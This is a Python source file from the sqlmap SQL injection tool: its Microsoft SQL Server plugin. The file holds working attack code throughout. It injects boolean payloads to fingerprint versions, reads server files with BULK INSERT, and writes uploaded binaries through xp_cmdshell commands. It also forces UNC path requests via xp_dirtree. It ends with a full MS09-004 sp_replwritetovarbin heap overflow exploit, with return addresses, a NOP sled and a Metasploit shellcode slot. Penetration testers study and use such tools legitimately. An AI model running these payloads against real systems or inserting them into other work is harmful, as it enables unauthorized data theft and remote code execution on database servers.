mirror of
https://github.com/sqlmapproject/sqlmap.git
synced 2024-11-28 04:23:50 +03:00
703 lines
25 KiB
Python
703 lines
25 KiB
Python
#!/usr/bin/env python
|
|
|
|
"""
|
|
$Id$
|
|
|
|
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
|
|
|
Copyright (c) 2007-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
|
Copyright (c) 2006 Daniele Bellucci <daniele.bellucci@gmail.com>
|
|
|
|
sqlmap is free software; you can redistribute it and/or modify it under
|
|
the terms of the GNU General Public License as published by the Free
|
|
Software Foundation version 2 of the License.
|
|
|
|
sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
|
|
WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
|
|
FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
|
|
details.
|
|
|
|
You should have received a copy of the GNU General Public License along
|
|
with sqlmap; if not, write to the Free Software Foundation, Inc., 51
|
|
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
|
"""
|
|
|
|
|
|
|
|
import os
|
|
import time
|
|
|
|
from lib.core.agent import agent
|
|
from lib.core.common import formatDBMSfp
|
|
from lib.core.common import formatFingerprint
|
|
from lib.core.common import getHtmlErrorFp
|
|
from lib.core.common import getRange
|
|
from lib.core.common import randomInt
|
|
from lib.core.common import randomStr
|
|
from lib.core.convert import urlencode
|
|
from lib.core.data import conf
|
|
from lib.core.data import kb
|
|
from lib.core.data import logger
|
|
from lib.core.data import queries
|
|
from lib.core.exception import sqlmapNoneDataException
|
|
from lib.core.exception import sqlmapSyntaxException
|
|
from lib.core.exception import sqlmapUnsupportedFeatureException
|
|
from lib.core.session import setDbms
|
|
from lib.core.settings import MSSQL_ALIASES
|
|
from lib.core.settings import MSSQL_SYSTEM_DBS
|
|
from lib.core.unescaper import unescaper
|
|
from lib.request import inject
|
|
from lib.request.connect import Connect as Request
|
|
|
|
from plugins.generic.enumeration import Enumeration
|
|
from plugins.generic.filesystem import Filesystem
|
|
from plugins.generic.fingerprint import Fingerprint
|
|
from plugins.generic.misc import Miscellaneous
|
|
from plugins.generic.takeover import Takeover
|
|
|
|
|
|
class MSSQLServerMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeover):
|
|
"""
|
|
This class defines Microsoft SQL Server methods
|
|
"""
|
|
|
|
def __init__(self):
|
|
self.excludeDbsList = MSSQL_SYSTEM_DBS
|
|
|
|
Enumeration.__init__(self, "Microsoft SQL Server")
|
|
Filesystem.__init__(self)
|
|
Takeover.__init__(self)
|
|
|
|
unescaper.setUnescape(MSSQLServerMap.unescape)
|
|
|
|
|
|
@staticmethod
|
|
def unescape(expression, quote=True):
|
|
if quote:
|
|
while True:
|
|
index = expression.find("'")
|
|
if index == -1:
|
|
break
|
|
|
|
firstIndex = index + 1
|
|
index = expression[firstIndex:].find("'")
|
|
|
|
if index == -1:
|
|
raise sqlmapSyntaxException, "Unenclosed ' in '%s'" % expression
|
|
|
|
lastIndex = firstIndex + index
|
|
old = "'%s'" % expression[firstIndex:lastIndex]
|
|
#unescaped = "("
|
|
unescaped = ""
|
|
|
|
for i in range(firstIndex, lastIndex):
|
|
unescaped += "CHAR(%d)" % (ord(expression[i]))
|
|
if i < lastIndex - 1:
|
|
unescaped += "+"
|
|
|
|
#unescaped += ")"
|
|
expression = expression.replace(old, unescaped)
|
|
else:
|
|
expression = "+".join("CHAR(%d)" % ord(c) for c in expression)
|
|
|
|
return expression
|
|
|
|
|
|
@staticmethod
|
|
def escape(expression):
|
|
while True:
|
|
index = expression.find("CHAR(")
|
|
if index == -1:
|
|
break
|
|
|
|
firstIndex = index
|
|
index = expression[firstIndex:].find("))")
|
|
|
|
if index == -1:
|
|
raise sqlmapSyntaxException, "Unenclosed ) in '%s'" % expression
|
|
|
|
lastIndex = firstIndex + index + 1
|
|
old = expression[firstIndex:lastIndex]
|
|
oldUpper = old.upper()
|
|
oldUpper = oldUpper.replace("CHAR(", "").replace(")", "")
|
|
oldUpper = oldUpper.split("+")
|
|
|
|
escaped = "'%s'" % "".join([chr(int(char)) for char in oldUpper])
|
|
expression = expression.replace(old, escaped)
|
|
|
|
return expression
|
|
|
|
|
|
def getFingerprint(self):
|
|
value = ""
|
|
wsOsFp = formatFingerprint("web server", kb.headersFp)
|
|
|
|
if wsOsFp:
|
|
value += "%s\n" % wsOsFp
|
|
|
|
if kb.data.banner:
|
|
dbmsOsFp = formatFingerprint("back-end DBMS", kb.bannerFp)
|
|
|
|
if dbmsOsFp:
|
|
value += "%s\n" % dbmsOsFp
|
|
|
|
value += "back-end DBMS: "
|
|
actVer = formatDBMSfp()
|
|
|
|
if not conf.extensiveFp:
|
|
value += actVer
|
|
return value
|
|
|
|
blank = " " * 15
|
|
value += "active fingerprint: %s" % actVer
|
|
|
|
if kb.bannerFp:
|
|
release = kb.bannerFp["dbmsRelease"]
|
|
version = kb.bannerFp["dbmsVersion"]
|
|
servicepack = kb.bannerFp["dbmsServicePack"]
|
|
|
|
if release and version and servicepack:
|
|
banVer = "Microsoft SQL Server %s " % release
|
|
banVer += "Service Pack %s " % servicepack
|
|
banVer += "version %s" % version
|
|
|
|
value += "\n%sbanner parsing fingerprint: %s" % (blank, banVer)
|
|
|
|
htmlErrorFp = getHtmlErrorFp()
|
|
|
|
if htmlErrorFp:
|
|
value += "\n%shtml error message fingerprint: %s" % (blank, htmlErrorFp)
|
|
|
|
return value
|
|
|
|
|
|
def checkDbms(self):
|
|
if conf.dbms in MSSQL_ALIASES and kb.dbmsVersion and kb.dbmsVersion[0].isdigit():
|
|
setDbms("Microsoft SQL Server %s" % kb.dbmsVersion[0])
|
|
|
|
self.getBanner()
|
|
|
|
if not conf.extensiveFp:
|
|
kb.os = "Windows"
|
|
|
|
return True
|
|
|
|
infoMsg = "testing Microsoft SQL Server"
|
|
logger.info(infoMsg)
|
|
|
|
payload = agent.fullPayload(" AND LEN(@@VERSION)=LEN(@@VERSION)")
|
|
result = Request.queryPage(payload)
|
|
|
|
if result == True:
|
|
infoMsg = "confirming Microsoft SQL Server"
|
|
logger.info(infoMsg)
|
|
|
|
for version in ( 0, 5, 8 ):
|
|
randInt = randomInt()
|
|
query = " AND %d=(SELECT (CASE WHEN (( SUBSTRING((@@VERSION), 22, 1)=2 AND SUBSTRING((@@VERSION), 25, 1)=%d ) OR ( SUBSTRING((@@VERSION), 23, 1)=2 AND SUBSTRING((@@VERSION), 26, 1)=%d )) THEN %d ELSE %d END))" % (randInt, version, version, randInt, (randInt + 1))
|
|
payload = agent.fullPayload(query)
|
|
result = Request.queryPage(payload)
|
|
|
|
if result is True:
|
|
if version == 8:
|
|
kb.dbmsVersion = [ "2008" ]
|
|
|
|
break
|
|
|
|
elif version == 5:
|
|
kb.dbmsVersion = [ "2005" ]
|
|
|
|
break
|
|
|
|
elif version == 0:
|
|
kb.dbmsVersion = [ "2000" ]
|
|
|
|
break
|
|
|
|
else:
|
|
query = " AND %d=(SELECT (CASE WHEN (SUBSTRING((@@VERSION), 22, 1)=7) THEN %d ELSE %d END))" % (randInt, randInt, (randInt + 1))
|
|
payload = agent.fullPayload(query)
|
|
result = Request.queryPage(payload)
|
|
|
|
if result == True:
|
|
kb.dbmsVersion = [ "7.0" ]
|
|
|
|
break
|
|
|
|
if kb.dbmsVersion:
|
|
setDbms("Microsoft SQL Server %s" % kb.dbmsVersion[0])
|
|
else:
|
|
setDbms("Microsoft SQL Server")
|
|
|
|
self.getBanner()
|
|
|
|
kb.os = "Windows"
|
|
|
|
return True
|
|
else:
|
|
warnMsg = "the back-end DMBS is not Microsoft SQL Server"
|
|
logger.warn(warnMsg)
|
|
|
|
return False
|
|
|
|
|
|
def checkDbmsOs(self, detailed=False):
|
|
if kb.os and kb.osVersion and kb.osSP:
|
|
return
|
|
|
|
if not kb.os:
|
|
kb.os = "Windows"
|
|
|
|
if detailed == False:
|
|
return
|
|
|
|
infoMsg = "fingerprinting the back-end DBMS operating system "
|
|
infoMsg += "version and service pack"
|
|
logger.info(infoMsg)
|
|
|
|
infoMsg = "the back-end DBMS operating system is %s" % kb.os
|
|
|
|
self.createSupportTbl(self.fileTblName, self.tblField, "varchar(1000)")
|
|
inject.goStacked("INSERT INTO %s(%s) VALUES (%s)" % (self.fileTblName, self.tblField, "@@VERSION"))
|
|
|
|
versions = {
|
|
"2003": ( "5.2", ( 2, 1 ) ),
|
|
#"2003": ( "6.0", ( 2, 1 ) ),
|
|
"2008": ( "7.0", ( 1, ) ),
|
|
"2000": ( "5.0", ( 4, 3, 2, 1 ) ),
|
|
"XP": ( "5.1", ( 2, 1 ) ),
|
|
"NT": ( "4.0", ( 6, 5, 4, 3, 2, 1 ) )
|
|
}
|
|
|
|
# Get back-end DBMS underlying operating system version
|
|
for version, data in versions.items():
|
|
query = "(SELECT LEN(%s) FROM %s WHERE %s " % (self.tblField, self.fileTblName, self.tblField)
|
|
query += "LIKE '%Windows NT " + data[0] + "%')>0"
|
|
query = agent.forgeCaseStatement(query)
|
|
|
|
if inject.getValue(query, charsetType=1) == "1":
|
|
kb.osVersion = version
|
|
infoMsg += " %s" % kb.osVersion
|
|
|
|
break
|
|
|
|
if not kb.osVersion:
|
|
kb.osVersion = "2003"
|
|
kb.osSP = 2
|
|
|
|
warnMsg = "unable to fingerprint the underlying operating "
|
|
warnMsg += "system version, assuming it is Windows "
|
|
warnMsg += "%s Service Pack %d" % (kb.osVersion, kb.osSP)
|
|
logger.warn(warnMsg)
|
|
|
|
self.cleanup(onlyFileTbl=True)
|
|
|
|
return
|
|
|
|
# Get back-end DBMS underlying operating system service pack
|
|
sps = versions[kb.osVersion][1]
|
|
|
|
for sp in sps:
|
|
query = "(SELECT LEN(%s) FROM %s WHERE %s " % (self.tblField, self.fileTblName, self.tblField)
|
|
query += "LIKE '%Service Pack " + str(sp) + "%')>0"
|
|
query = agent.forgeCaseStatement(query)
|
|
|
|
if inject.getValue(query, charsetType=1) == "1":
|
|
kb.osSP = sp
|
|
break
|
|
|
|
if not kb.osSP:
|
|
debugMsg = "assuming the operating system has no service pack"
|
|
logger.debug(debugMsg)
|
|
|
|
kb.osSP = 0
|
|
|
|
if kb.osVersion:
|
|
infoMsg += " Service Pack %d" % kb.osSP
|
|
|
|
logger.info(infoMsg)
|
|
|
|
self.cleanup(onlyFileTbl=True)
|
|
|
|
|
|
def getPrivileges(self):
|
|
warnMsg = "on Microsoft SQL Server it is not possible to fetch "
|
|
warnMsg += "database users privileges"
|
|
logger.warn(warnMsg)
|
|
|
|
return {}
|
|
|
|
|
|
def getTables(self):
|
|
infoMsg = "fetching tables"
|
|
if conf.db:
|
|
infoMsg += " for database '%s'" % conf.db
|
|
logger.info(infoMsg)
|
|
|
|
rootQuery = queries[kb.dbms].tables
|
|
|
|
if not conf.db:
|
|
if not len(kb.data.cachedDbs):
|
|
dbs = self.getDbs()
|
|
else:
|
|
dbs = kb.data.cachedDbs
|
|
else:
|
|
if "," in conf.db:
|
|
dbs = conf.db.split(",")
|
|
else:
|
|
dbs = [conf.db]
|
|
|
|
if kb.unionPosition:
|
|
for db in dbs:
|
|
if conf.excludeSysDbs and db in self.excludeDbsList:
|
|
infoMsg = "skipping system database '%s'" % db
|
|
logger.info(infoMsg)
|
|
|
|
continue
|
|
|
|
query = rootQuery["inband"]["query"] % db
|
|
value = inject.getValue(query, blind=False)
|
|
|
|
if value:
|
|
kb.data.cachedTables[db] = value
|
|
|
|
if not kb.data.cachedTables:
|
|
for db in dbs:
|
|
if conf.excludeSysDbs and db in self.excludeDbsList:
|
|
infoMsg = "skipping system database '%s'" % db
|
|
logger.info(infoMsg)
|
|
|
|
continue
|
|
|
|
infoMsg = "fetching number of tables for "
|
|
infoMsg += "database '%s'" % db
|
|
logger.info(infoMsg)
|
|
|
|
query = rootQuery["blind"]["count"] % db
|
|
count = inject.getValue(query, inband=False, charsetType=2)
|
|
|
|
if not count.isdigit() or not len(count) or count == "0":
|
|
warnMsg = "unable to retrieve the number of "
|
|
warnMsg += "tables for database '%s'" % db
|
|
logger.warn(warnMsg)
|
|
continue
|
|
|
|
tables = []
|
|
|
|
for index in range(int(count)):
|
|
query = rootQuery["blind"]["query"] % (db, index, db)
|
|
table = inject.getValue(query, inband=False)
|
|
tables.append(table)
|
|
|
|
if tables:
|
|
kb.data.cachedTables[db] = tables
|
|
else:
|
|
warnMsg = "unable to retrieve the tables "
|
|
warnMsg += "for database '%s'" % db
|
|
logger.warn(warnMsg)
|
|
|
|
if not kb.data.cachedTables:
|
|
errMsg = "unable to retrieve the tables for any database"
|
|
raise sqlmapNoneDataException, errMsg
|
|
|
|
return kb.data.cachedTables
|
|
|
|
|
|
def unionReadFile(self, rFile):
|
|
errMsg = "Microsoft SQL Server does not support file reading "
|
|
errMsg += "with UNION query SQL injection technique"
|
|
raise sqlmapUnsupportedFeatureException, errMsg
|
|
|
|
|
|
def stackedReadFile(self, rFile):
|
|
infoMsg = "fetching file: '%s'" % rFile
|
|
logger.info(infoMsg)
|
|
|
|
result = []
|
|
txtTbl = self.fileTblName
|
|
hexTbl = "%shex" % self.fileTblName
|
|
|
|
self.createSupportTbl(txtTbl, self.tblField, "text")
|
|
inject.goStacked("DROP TABLE %s" % hexTbl)
|
|
inject.goStacked("CREATE TABLE %s(id INT IDENTITY(1, 1) PRIMARY KEY, %s %s)" % (hexTbl, self.tblField, "VARCHAR(4096)"))
|
|
|
|
logger.debug("loading the content of file '%s' into support table" % rFile)
|
|
inject.goStacked("BULK INSERT %s FROM '%s' WITH (CODEPAGE='RAW', FIELDTERMINATOR='%s', ROWTERMINATOR='%s')" % (txtTbl, rFile, randomStr(10), randomStr(10)), silent=True)
|
|
|
|
# Reference: http://support.microsoft.com/kb/104829
|
|
binToHexQuery = """
|
|
DECLARE @charset VARCHAR(16)
|
|
DECLARE @counter INT
|
|
DECLARE @hexstr VARCHAR(4096)
|
|
DECLARE @length INT
|
|
DECLARE @chunk INT
|
|
|
|
SET @charset = '0123456789ABCDEF'
|
|
SET @counter = 1
|
|
SET @hexstr = ''
|
|
SET @length = (SELECT DATALENGTH(%s) FROM %s)
|
|
SET @chunk = 1024
|
|
|
|
WHILE (@counter <= @length)
|
|
BEGIN
|
|
DECLARE @tempint INT
|
|
DECLARE @firstint INT
|
|
DECLARE @secondint INT
|
|
|
|
SET @tempint = CONVERT(INT, (SELECT ASCII(SUBSTRING(%s, @counter, 1)) FROM %s))
|
|
SET @firstint = floor(@tempint/16)
|
|
SET @secondint = @tempint - (@firstint * 16)
|
|
SET @hexstr = @hexstr + SUBSTRING(@charset, @firstint+1, 1) + SUBSTRING(@charset, @secondint+1, 1)
|
|
|
|
SET @counter = @counter + 1
|
|
|
|
IF @counter %% @chunk = 0
|
|
BEGIN
|
|
INSERT INTO %s(%s) VALUES(@hexstr)
|
|
SET @hexstr = ''
|
|
END
|
|
END
|
|
|
|
IF @counter %% (@chunk) != 0
|
|
BEGIN
|
|
INSERT INTO %s(%s) VALUES(@hexstr)
|
|
END
|
|
""" % (self.tblField, txtTbl, self.tblField, txtTbl, hexTbl, self.tblField, hexTbl, self.tblField)
|
|
|
|
binToHexQuery = binToHexQuery.replace(" ", "").replace("\n", " ")
|
|
binToHexQuery = urlencode(binToHexQuery, convall=True)
|
|
inject.goStacked(binToHexQuery)
|
|
|
|
if kb.unionPosition:
|
|
result = inject.getValue("SELECT %s FROM %s ORDER BY id ASC" % (self.tblField, hexTbl), sort=False, resumeValue=False, blind=False)
|
|
|
|
if not result:
|
|
result = []
|
|
count = inject.getValue("SELECT COUNT(%s) FROM %s" % (self.tblField, hexTbl), resumeValue=False, charsetType=2)
|
|
|
|
if not count.isdigit() or not len(count) or count == "0":
|
|
errMsg = "unable to retrieve the content of the "
|
|
errMsg += "file '%s'" % rFile
|
|
raise sqlmapNoneDataException, errMsg
|
|
|
|
indexRange = getRange(count)
|
|
|
|
for index in indexRange:
|
|
chunk = inject.getValue("SELECT TOP 1 %s FROM %s WHERE %s NOT IN (SELECT TOP %d %s FROM %s ORDER BY id ASC) ORDER BY id ASC" % (self.tblField, hexTbl, self.tblField, index, self.tblField, hexTbl), unpack=False, resumeValue=False, sort=False, charsetType=3)
|
|
result.append(chunk)
|
|
|
|
inject.goStacked("DROP TABLE %s" % hexTbl)
|
|
|
|
return result
|
|
|
|
|
|
def unionWriteFile(self, wFile, dFile, fileType, confirm=True):
|
|
errMsg = "Microsoft SQL Server does not support file upload with "
|
|
errMsg += "UNION query SQL injection technique"
|
|
raise sqlmapUnsupportedFeatureException, errMsg
|
|
|
|
|
|
def stackedWriteFile(self, wFile, dFile, fileType, confirm=True):
|
|
# NOTE: this is needed here because we use xp_cmdshell extended
|
|
# procedure to write a file on the back-end Microsoft SQL Server
|
|
# file system. Maybe it won't be required to write text files
|
|
self.initEnv()
|
|
|
|
self.getRemoteTempPath()
|
|
|
|
debugMsg = "going to use xp_cmdshell extended procedure to write "
|
|
debugMsg += "the %s file content to file '%s'" % (fileType, dFile)
|
|
logger.debug(debugMsg)
|
|
|
|
debugSize = 0xFF00
|
|
tmpPath = conf.tmpPath.replace("/", "\\")
|
|
dFileName = os.path.split(dFile)[1]
|
|
dFile = dFile.replace("/", "\\")
|
|
wFileSize = os.path.getsize(wFile)
|
|
wFilePointer = open(wFile, "rb")
|
|
wFileContent = wFilePointer.read()
|
|
wFilePointer.close()
|
|
|
|
if wFileSize < debugSize:
|
|
chunkName = self.updateBinChunk(wFileContent, tmpPath)
|
|
sFile = "%s\%s" % (tmpPath, dFileName)
|
|
|
|
logger.debug("moving binary file %s to %s" % (sFile, dFile))
|
|
|
|
commands = (
|
|
"cd %s" % tmpPath,
|
|
"ren %s %s" % (chunkName, dFileName),
|
|
"move /Y %s %s" % (dFileName, dFile)
|
|
)
|
|
complComm = " & ".join(command for command in commands)
|
|
forgedCmd = self.xpCmdshellForgeCmd(complComm)
|
|
|
|
self.execCmd(forgedCmd)
|
|
|
|
else:
|
|
infoMsg = "the %s file is bigger than %d " % (fileType, debugSize)
|
|
infoMsg += "bytes. sqlmap will split it into chunks, upload "
|
|
infoMsg += "them and recreate the original file out of the "
|
|
infoMsg += "binary chunks server-side, wait.."
|
|
logger.info(infoMsg)
|
|
|
|
counter = 1
|
|
|
|
for i in range(0, wFileSize, debugSize):
|
|
wFileChunk = wFileContent[i:i+debugSize]
|
|
chunkName = self.updateBinChunk(wFileChunk, tmpPath)
|
|
|
|
if i == 0:
|
|
infoMsg = "renaming chunk "
|
|
copyCmd = "ren %s %s" % (chunkName, dFileName)
|
|
else:
|
|
infoMsg = "appending chunk "
|
|
copyCmd = "copy /B /Y %s+%s %s" % (dFileName, chunkName, dFileName)
|
|
|
|
infoMsg += "%s\%s to %s\%s" % (tmpPath, chunkName, tmpPath, dFileName)
|
|
logger.debug(infoMsg)
|
|
|
|
commands = (
|
|
"cd %s" % tmpPath,
|
|
copyCmd,
|
|
"del /F %s" % chunkName
|
|
)
|
|
complComm = " & ".join(command for command in commands)
|
|
forgedCmd = self.xpCmdshellForgeCmd(complComm)
|
|
|
|
self.execCmd(forgedCmd)
|
|
|
|
logger.info("file chunk %d written" % counter)
|
|
|
|
counter += 1
|
|
|
|
sFile = "%s\%s" % (tmpPath, dFileName)
|
|
|
|
logger.debug("moving binary file %s to %s" % (sFile, dFile))
|
|
|
|
commands = (
|
|
"cd %s" % tmpPath,
|
|
"move /Y %s %s" % (dFileName, dFile)
|
|
)
|
|
complComm = " & ".join(command for command in commands)
|
|
forgedCmd = self.xpCmdshellForgeCmd(complComm)
|
|
|
|
self.execCmd(forgedCmd)
|
|
|
|
if confirm == True:
|
|
self.askCheckWrittenFile(wFile, dFile, fileType)
|
|
|
|
|
|
def uncPathRequest(self):
|
|
#inject.goStacked("EXEC master..xp_fileexist '%s'" % self.uncPath, silent=True)
|
|
inject.goStacked("EXEC master..xp_dirtree '%s'" % self.uncPath)
|
|
|
|
|
|
def overflowBypassDEP(self):
|
|
self.handleDep("C:\Program Files\Microsoft SQL Server\MSSQL.1\MSSQL\Binn\sqlservr.exe")
|
|
|
|
if self.bypassDEP == False:
|
|
return
|
|
else:
|
|
warnMsg = "sqlmap tried to add the expection for "
|
|
warnMsg += "'sqlservr.exe' within the registry, but will not "
|
|
warnMsg += "restart the MSSQLSERVER process to avoid denial "
|
|
warnMsg += "of service. The buffer overflow trigger could not "
|
|
warnMsg += "work, however sqlmap will give it a try. Soon "
|
|
warnMsg += "it will come a new MS09-004 exploit to "
|
|
warnMsg += "automatically bypass DEP."
|
|
logger.warn(warnMsg)
|
|
|
|
|
|
def spHeapOverflow(self):
|
|
"""
|
|
References:
|
|
* http://www.microsoft.com/technet/security/bulletin/MS09-004.mspx
|
|
* http://support.microsoft.com/kb/959420
|
|
"""
|
|
|
|
returns = {
|
|
"2003": ( 2, "CHAR(0x77)+CHAR(0x55)+CHAR(0x87)+CHAR(0x7c)" ), # ntdll.dll: 0x7c8601bd -> 7508e877 (0x77e80857 it's a CALL ESI @ kernel32.dll)
|
|
"2000": ( 4, "CHAR(0xdc)+CHAR(0xe1)+CHAR(0xf8)+CHAR(0x7c)" ), # shell32.dll: 0x7cf8e1ec 163bf77c -> (CALL ESI @ shell32.dll)
|
|
}
|
|
retAddr = None
|
|
|
|
for version, data in returns.items():
|
|
sp = data[0]
|
|
address = data[1]
|
|
|
|
if kb.osVersion == version and kb.osSP == sp:
|
|
retAddr = address
|
|
|
|
break
|
|
|
|
if retAddr == None:
|
|
errMsg = "sqlmap can not exploit the stored procedure buffer "
|
|
errMsg += "overflow because it does not have a valid return "
|
|
errMsg += "code for the underlying operating system (Windows "
|
|
errMsg += "%s Service Pack %d" % (kb.osVersion, kb.osSP)
|
|
raise sqlmapUnsupportedFeatureException, errMsg
|
|
|
|
self.spExploit = """
|
|
DECLARE @buf NVARCHAR(4000),
|
|
@val NVARCHAR(4),
|
|
@counter INT
|
|
SET @buf = '
|
|
declare @retcode int,
|
|
@end_offset int,
|
|
@vb_buffer varbinary,
|
|
@vb_bufferlen int
|
|
exec master.dbo.sp_replwritetovarbin 347, @end_offset output, @vb_buffer output, @vb_bufferlen output,'''
|
|
SET @val = CHAR(0x41)
|
|
SET @counter = 0
|
|
WHILE @counter < 3320
|
|
BEGIN
|
|
SET @counter = @counter + 1
|
|
IF @counter = 411
|
|
BEGIN
|
|
/* Return address */
|
|
SET @buf = @buf + %s
|
|
|
|
/* Nopsled */
|
|
SET @buf = @buf + CHAR(0x90)+CHAR(0x90)+CHAR(0x90)
|
|
SET @buf = @buf + CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+
|
|
CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+
|
|
CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+
|
|
CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+
|
|
CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+
|
|
CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+
|
|
CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+
|
|
CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+
|
|
CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+
|
|
CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+
|
|
CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+
|
|
CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)
|
|
|
|
/* Metasploit shellcode stage 1 */
|
|
SET @buf = @buf + %s
|
|
|
|
/* Unroll the stack and return */
|
|
CHAR(0x5e)+CHAR(0x5e)+CHAR(0x5e)+CHAR(0x5e)+CHAR(0x5e)+CHAR(0x5e)+CHAR(0x5e)+
|
|
CHAR(0x5e)+CHAR(0x5e)+CHAR(0x5e)+CHAR(0x5e)+CHAR(0x5e)+CHAR(0x5e)+CHAR(0x5e)+
|
|
CHAR(0x5e)+CHAR(0x5e)+CHAR(0x5e)+CHAR(0x5e)+CHAR(0x5e)+CHAR(0x5e)+CHAR(0x5e)+
|
|
CHAR(0x5e)+CHAR(0x5e)+CHAR(0x5e)+CHAR(0x5e)+CHAR(0x5e)+CHAR(0x5e)+CHAR(0x5e)+
|
|
CHAR(0x5e)+CHAR(0x5e)+CHAR(0x5e)+CHAR(0x5e)+CHAR(0x5e)+CHAR(0x5e)+CHAR(0x5e)+
|
|
CHAR(0x5e)+CHAR(0x5e)+CHAR(0x5e)+CHAR(0x5e)+CHAR(0x5e)+CHAR(0x5e)+CHAR(0x5e)+
|
|
CHAR(0xc3)
|
|
|
|
SET @counter = @counter + 302
|
|
SET @val = CHAR(0x43)
|
|
CONTINUE
|
|
END
|
|
SET @buf = @buf + @val
|
|
END
|
|
SET @buf = @buf + ''',''33'',''34'',''35'',''36'',''37'',''38'',''39'',''40'',''41'''
|
|
EXEC master..sp_executesql @buf
|
|
""" % (retAddr, self.shellcodeChar)
|
|
|
|
self.spExploit = self.spExploit.replace(" ", "").replace("\n", " ")
|
|
self.spExploit = urlencode(self.spExploit, convall=True)
|
|
|
|
logger.info("triggering the buffer overflow vulnerability, wait..")
|
|
inject.goStacked(self.spExploit, silent=True)
|